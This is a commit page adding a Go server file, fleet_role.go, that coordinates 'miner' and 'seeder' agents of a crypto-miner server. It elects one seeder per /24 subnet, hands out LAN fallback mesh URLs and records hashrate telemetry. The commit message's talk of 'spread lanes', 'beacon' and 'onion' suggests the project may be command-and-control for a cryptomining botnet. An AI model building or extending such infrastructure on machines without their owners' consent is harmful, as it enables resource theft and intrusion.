Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
163
server/internal/api/fleet_role.go
Normal file
163
server/internal/api/fleet_role.go
Normal file
@@ -0,0 +1,163 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// LANSeederHint is pushed to miners on auth when fleet roles are enabled.
|
||||
type LANSeederHint struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
IP string `json:"ip,omitempty"`
|
||||
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
|
||||
}
|
||||
|
||||
func normalizeFleetRole(role string) string {
|
||||
switch strings.ToLower(strings.TrimSpace(role)) {
|
||||
case "seeder":
|
||||
return "seeder"
|
||||
case "miner":
|
||||
return "miner"
|
||||
default:
|
||||
return "auto"
|
||||
}
|
||||
}
|
||||
|
||||
func subnetPrefix24(ip string) string {
|
||||
ip = strings.TrimSpace(ip)
|
||||
if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 {
|
||||
ip = ip[:idx]
|
||||
}
|
||||
parts := strings.Split(ip, ".")
|
||||
if len(parts) < 3 {
|
||||
return ""
|
||||
}
|
||||
return parts[0] + "." + parts[1] + "." + parts[2]
|
||||
}
|
||||
|
||||
func (h *WSHub) storeAgentFleetRole(agentID, role string) {
|
||||
role = normalizeFleetRole(role)
|
||||
if role == "auto" {
|
||||
role = "miner"
|
||||
}
|
||||
h.mu.Lock()
|
||||
tel, ok := h.agentLiveTelemetry[agentID]
|
||||
if !ok {
|
||||
tel = map[string]interface{}{}
|
||||
h.agentLiveTelemetry[agentID] = tel
|
||||
}
|
||||
tel["fleet_role"] = role
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) fleetRoleHintForAuth(agentID, bakedRole, clientIP string, seederCapable bool) string {
|
||||
if !h.serverPolicySnapshot().FleetRolesEnabled {
|
||||
return ""
|
||||
}
|
||||
baked := normalizeFleetRole(bakedRole)
|
||||
if baked == "seeder" || baked == "miner" {
|
||||
return baked
|
||||
}
|
||||
subnet := subnetPrefix24(clientIP)
|
||||
if h.subnetHasOnlineSeeder(subnet) {
|
||||
return "miner"
|
||||
}
|
||||
if seederCapable && h.shouldElectSubnetSeeder(agentID, subnet) {
|
||||
return "seeder"
|
||||
}
|
||||
return "miner"
|
||||
}
|
||||
|
||||
func (h *WSHub) subnetHasOnlineSeeder(subnet string) bool {
|
||||
if subnet == "" {
|
||||
return false
|
||||
}
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
for id, tel := range h.agentLiveTelemetry {
|
||||
role, _ := tel["fleet_role"].(string)
|
||||
if role != "seeder" {
|
||||
continue
|
||||
}
|
||||
if ac, ok := h.agents[id]; ok && ac != nil {
|
||||
_ = ac
|
||||
if agentIP := h.agentIPLocked(id); subnetPrefix24(agentIP) == subnet {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (h *WSHub) shouldElectSubnetSeeder(agentID, subnet string) bool {
|
||||
if subnet == "" {
|
||||
return false
|
||||
}
|
||||
sum := sha256.Sum256([]byte(subnet))
|
||||
pick := hex.EncodeToString(sum[:4])
|
||||
return strings.HasPrefix(agentID, pick[:2]) || pick[0]%3 == 0
|
||||
}
|
||||
|
||||
func (h *WSHub) agentIPLocked(agentID string) string {
|
||||
if ag, err := h.db.GetAgent(agentID); err == nil && ag != nil {
|
||||
return ag.IP
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (h *WSHub) lanSeedersForMiner(clientIP string) []LANSeederHint {
|
||||
if !h.serverPolicySnapshot().FleetRolesEnabled {
|
||||
return nil
|
||||
}
|
||||
subnet := subnetPrefix24(clientIP)
|
||||
var out []LANSeederHint
|
||||
h.mu.RLock()
|
||||
for id, tel := range h.agentLiveTelemetry {
|
||||
role, _ := tel["fleet_role"].(string)
|
||||
if role != "seeder" {
|
||||
continue
|
||||
}
|
||||
ip := h.agentIPLocked(id)
|
||||
if subnet != "" && subnetPrefix24(ip) != subnet {
|
||||
continue
|
||||
}
|
||||
fallback := ""
|
||||
if ip != "" {
|
||||
fallback = "http://" + ip + ":8989/api/v1/public/webrtc-mesh/manifest?seeder=" + id
|
||||
}
|
||||
out = append(out, LANSeederHint{AgentID: id, IP: ip, LANFallbackURL: fallback})
|
||||
}
|
||||
h.mu.RUnlock()
|
||||
return out
|
||||
}
|
||||
|
||||
func (h *WSHub) ingestFleetPressure(agentID string, broadcast map[string]interface{}) {
|
||||
role, _ := broadcast["fleet_role"].(string)
|
||||
if role != "" {
|
||||
h.storeAgentFleetRole(agentID, role)
|
||||
}
|
||||
seed, seedOK := broadcast["seed_pressure"].(float64)
|
||||
hr, hrOK := broadcast["hashrate_pressure"].(float64)
|
||||
if !seedOK && !hrOK {
|
||||
return
|
||||
}
|
||||
heat := strategy.EmberwakeHeat(role, seed, hr)
|
||||
h.mu.Lock()
|
||||
tel, ok := h.agentLiveTelemetry[agentID]
|
||||
if !ok {
|
||||
tel = map[string]interface{}{}
|
||||
h.agentLiveTelemetry[agentID] = tel
|
||||
}
|
||||
if seedOK {
|
||||
tel["seed_pressure"] = seed
|
||||
}
|
||||
if hrOK {
|
||||
tel["hashrate_pressure"] = hr
|
||||
}
|
||||
tel["emberwake_heat"] = heat
|
||||
h.mu.Unlock()
|
||||
broadcast["emberwake_heat"] = heat
|
||||
}
|
||||
Reference in New Issue
Block a user